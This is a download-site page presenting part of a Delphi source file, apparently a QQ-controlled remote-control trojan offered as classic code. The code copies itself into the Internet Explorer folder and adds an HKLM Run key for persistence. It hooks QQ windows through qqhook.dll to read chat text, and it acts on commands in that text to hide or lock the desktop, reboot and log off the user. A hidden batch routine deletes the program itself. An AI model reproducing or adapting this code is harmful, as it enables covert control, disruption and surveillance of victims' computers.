⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 很经典的代码 2004版可以通过 但没有试过以后更高的版本 系统高人指点
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils,Forms,HookType,Math, Controls, StdCtrls,CommCtrl,
  Classes,StrUtils,shellapi,registry,shlobj,mmsystem;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Label4: TLabel;
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    function  FindRev(parent: HWND):HWND;
//  function  GetDateTime():string;
    function  GetwinText(hwd: HWND):String;
    function  GetQQText(hwd: HWND):String;
    function GetDesktopHand: THandle;
    procedure Circle(r: integer);
    procedure Alignboth(Rec: Integer);
    procedure AlignRight(Rec: Integer);
    procedure Alignabc(Rec: Integer);
    function  FindSend(parent: HWND):HWND;
    function  GetText(hwd: HWND):String;
  public
    { Public declarations }
  protected
    procedure WndProc(var Msg: TMessage); override;
  end;

var
  Form1: TForm1;
  MemFile: THandle;
  Shared: PShared;
  reg:tregistry;
  
function InstallHook: boolean;stdcall ;external 'qqhook.dll';

implementation

{$R *.dfm}

//关机函数
function Irc_Reboot_Shutdown(i:integer):boolean; 
var
hToken :THandle; 
tkp : TOKEN_PRIVILEGES; 
ReturnLength : DWord;
begin 
RESULT:=false;
if (not OpenProcessToken(GetCurrentProcess(), 
TOKEN_ADJUST_PRIVILEGES 
or TOKEN_ALL_ACCESS 
or TOKEN_QUERY, hToken)) 
then 
RESULT:=false; 
LookupPrivilegevalue(nil,'SeShutdownPrivilege',tkp.Privileges[0].Luid); 
tkp.PrivilegeCount := 1; 
tkp.Privileges[0].Attributes :=SE_PRIVILEGE_ENABLED; 
ReturnLength :=0; 
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,nil,ReturnLength);

if (GetLastError() <> ERROR_SUCCESS) then
RESULT:=false; 
case i of 
1: begin 
ExitWindowsEx(EWX_REBOOT, 0); //reboot 
RESULT:=true; 
end; 
2: begin 
ExitWindowsEx(EWX_SHUTDOWN+EWX_POWEROFF, 0); //shutdown 
RESULT:=true; 
end; 
3: begin 
ExitWindowsEx(EWX_FORCE+EWX_SHUTDOWN, 0); //force shutdown 
RESULT:=true; 
end; 
4: begin 
ExitWindowsEx(EWX_LOGOFF, 0); //logoff 
RESULT:=true; 
end; 
end;
end;

//窗体创建初始化
procedure TForm1.FormCreate(Sender: TObject);
var
sw:array[0..40] of char;
ww,FN,smpath:string;
begin
getwindowsdirectory(@sw,40);
ww:=copy(sw,1,2);
FN:=ww+'\Program Files\Internet Explorer\'+extractfilename(application.ExeName);
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('software\microsoft\windows\currentversion\Run',true);
reg.WriteString('login',FN);
if not FileExists(FN) then
begin
CopyFile(pchar(''+paramstr(0)+''), PChar(FN), True);
shellexecute(0,'open',pchar(FN),'','',sw_shownormal);
application.Terminate;
end
else
begin
MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
        if MemFile = 0 then
          MemFile := CreateFileMapping($FFFFFFFF,nil,
            PAGE_READWRITE,
            0,
            SizeOf(TShared),
            HOOK_MEM_FILENAME);
        Shared := MapViewOfFile(MemFile,
          File_MAP_WRITE,
          0,
          0,
          0);
Shared^.MainWnd := Handle;
InstallHook;//安装钩子
end;
end;

function getpersonal:string;
begin
 result:='';
 reg:=tregistry.Create;
 reg.RootKey:=HKEY_CURRENT_USER;
 REG.OpenKey('software\microsoft\windows\currentversion\explorer\shell folders',false);
 result:=reg.ReadString('personal');
end;

function Tform1.GetDesktopHand: THandle;
begin
  Result := FindWindow('progman', nil);
  Result := GetWindow(Result, GW_Child);
  Result := GetWindow(Result, GW_Child);
end;


procedure Tform1.Circle(r: integer); // 形参 r 为半径;
var
  i, Count, CenterX, CenterY, TempR: integer;
  Hand: THandle;
  Radian: double;
  TempRect: TRect;
  DesktopHeight, DesktopWidth: integer;
  X, Y: Word;
begin
  Hand := GetDesktopHand;
  SystemParametersInfo(SPI_GetWorkArea, 0, @TempRect, 0); // 取得工作区域;
  DesktopWidth := TempRect.Right - TempRect.Left; // 工作区的宽(即屏幕的宽);
  DesktopHeight := TempRect.Bottom - TempRect.Top; // 工作区的高(即屏幕的高);
  CenterX := DesktopWidth div 2; // 取得圆心 X 坐标;
  CenterY := DesktopHeight div 2; // 圆心 Y 坐标;
  if CenterX > CenterY then
    TempR := CenterY
  else
    TempR := CenterX;
  if r > TempR then r := TempR; // 半径不能超过屏幕中心点到四边的最短距离;
  Count := Listview_GetItemCount(Hand); // 桌面上图标个数;
  Radian := 2 * 3.14159 / Count; //  相邻图标间的弧度;
  for i := 0 to Count - 1 do
  begin
  // 第一个图标排在正上方;
    X := Integer(CenterX + Trunc(r * Sin(i * Radian))); // 图标的X坐标;
    Y := Integer(CenterY + Trunc(r * Cos(i * Radian))); // 图标的Y坐标;
    SendMessage(Hand, LVM_SetItemPosition, i, MakeLparam(X, y)); // 设置坐标;
  end;
end;

procedure Tform1.Alignboth(Rec: Integer); // 形参 Rec 为一个图标所占区域大小,一般为77;
var Hand: THandle;
  h, I, j, DesktopHight, DesktopWidth: integer;
  TempRect: TRect;
begin
  Hand := GetDesktopHand;
  SystemParametersInfo(SPI_GetWorkArea, 0, @TempRect, 0); // 取得工作区域;
  DesktopWidth := TempRect.Right - TempRect.Left; // 工作区的宽(即屏幕的宽)
  DesktopHight := TempRect.Bottom - TempRect.Top; // 工作区的高(即屏幕的高);
  I := 0; // 图标所排的列数
  J := 0;
  for h := 0 to Listview_GetItemCount(Hand) - 1 do
  begin
    Inc(j);
    if j * rec > DesktopHight then // 排完一列;
    begin
      Inc(i); // 换列
      J := 1;
    end;
    SendMessage(Hand, LVM_SetItemPosition, h,
      MakeLparam((desktopwidth-Rec)* I+20 , Rec * (j - 1)));
  end; //  for 循环结束;
end;

procedure Tform1.AlignRight(Rec: Integer); // 形参 Rec 为一个图标所占区域大小,一般为77;
var Hand: THandle;
  h, I, j, DesktopHight, DesktopWidth: integer;
  TempRect: TRect;
begin
  Hand := GetDesktopHand;
  SystemParametersInfo(SPI_GetWorkArea, 0, @TempRect, 0); // 取得工作区域;
  DesktopWidth := TempRect.Right - TempRect.Left; // 工作区的宽(即屏幕的宽)
  DesktopHight := TempRect.Bottom - TempRect.Top; // 工作区的高(即屏幕的高);
  I := 0; // 图标所排的列数
  J := 0;
  for h := 0 to Listview_GetItemCount(Hand) - 1 do
  begin
    Inc(j);
    if j * rec > DesktopHight then // 排完一列;
    begin
      Inc(i); // 换列
      J := 1;
    end;
    SendMessage(Hand, LVM_SetItemPosition, h,
      MakeLparam(DesktopWidth - Rec * (I + 1), Rec * (j - 1)));
  end; //  for 循环结束;
end;

procedure Tform1.Alignabc(Rec: Integer); // 形参 Rec 为一个图标所占区域大小,一般为77;
var Hand: THandle;
  h, I, j, DesktopHight: integer;
  TempRect: TRect;
begin
  Hand := GetDesktopHand;
  SystemParametersInfo(SPI_GetWorkArea, 0, @TempRect, 0); // 取得工作区域;
  DesktopHight := TempRect.Bottom - TempRect.Top; // 工作区的高(即屏幕的高);
  I := 0; // 图标所排的列数
  J := 0;
  for h := 0 to Listview_GetItemCount(Hand) - 1 do
  begin
    Inc(j);
    if j * rec > DesktopHight then // 排完一列;
    begin
      Inc(i); // 换列
      J := 1;
    end;
    SendMessage(Hand, LVM_SetItemPosition, h,
      MakeLparam( Rec * I , Rec * (j - 1)));
  end; //  for 循环结束;
end;

function TurnScreenSaverOn: bool; //屏保
var
  TurnTag: bool;
begin
  result := false;
  if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE, 0, @turntag, 0) <> true then exit;
  if not TurnTag then exit;
  PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
  SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, nil, 0);
  result := true;
end;

function delself:bool;//删除自身
var
BatchFile: TextFile;
BatchFileName: string;
StartUpInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '$$5555.bat';
  { open and write the file }
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);
  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,
    'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
  application.Terminate;
  result := true;
end;

procedure TForm1.WndProc(var Msg: TMessage);//执行命令
var
hdesk,hstart,hrwu,hquik,htray,wndhandle,hdesktop:thandle;
wndclass:array[0..50]of char;
rt: TRect;
hwd,hStat:HWND;
i_pos:integer;
s_copy:string;
begin
strpcopy(@wndclass[0],'shell_traywnd');
wndhandle:=findwindow(@wndclass[0],nil);
hDesktop := FindWindow('Progman', nil);
hdesk := findwindow('Progman', nil);
hrwu := findwindow('shell_traywnd', nil);
hstart := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil);
hquik := findwindowex(findWindowEx(hrwu, 0, 'ReBarWindow32', nil), 0, 'toolbarwindow32', nil);
htray:= findwindowex(findwindowex(findwindowex(hrwu, 0, 'rebarwindow32', nil), 0, 'MSTaskSwWClass', nil), 0, 'SysTabControl32', nil);
 with Msg do
 begin
   if Msg = WM_USERCMD then
   begin
     case wParam of
       UC_WINCREATE :
       begin
       Memo1.Lines.Add(GetText(FindRev(HWND(lParam))));
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'显示桌面') then
       ShowWindow(hDesktop, SW_show);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'隐藏桌面') then
       ShowWindow(hDesktop, SW_hide);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'锁定桌面') then
       EnableWindow(hdesk, false);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'解锁桌面') then
       EnableWindow(hdesk, true);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'电脑重启') then
       Irc_Reboot_Shutdown(1);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'注销用户') then
       Irc_Reboot_Shutdown(4);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -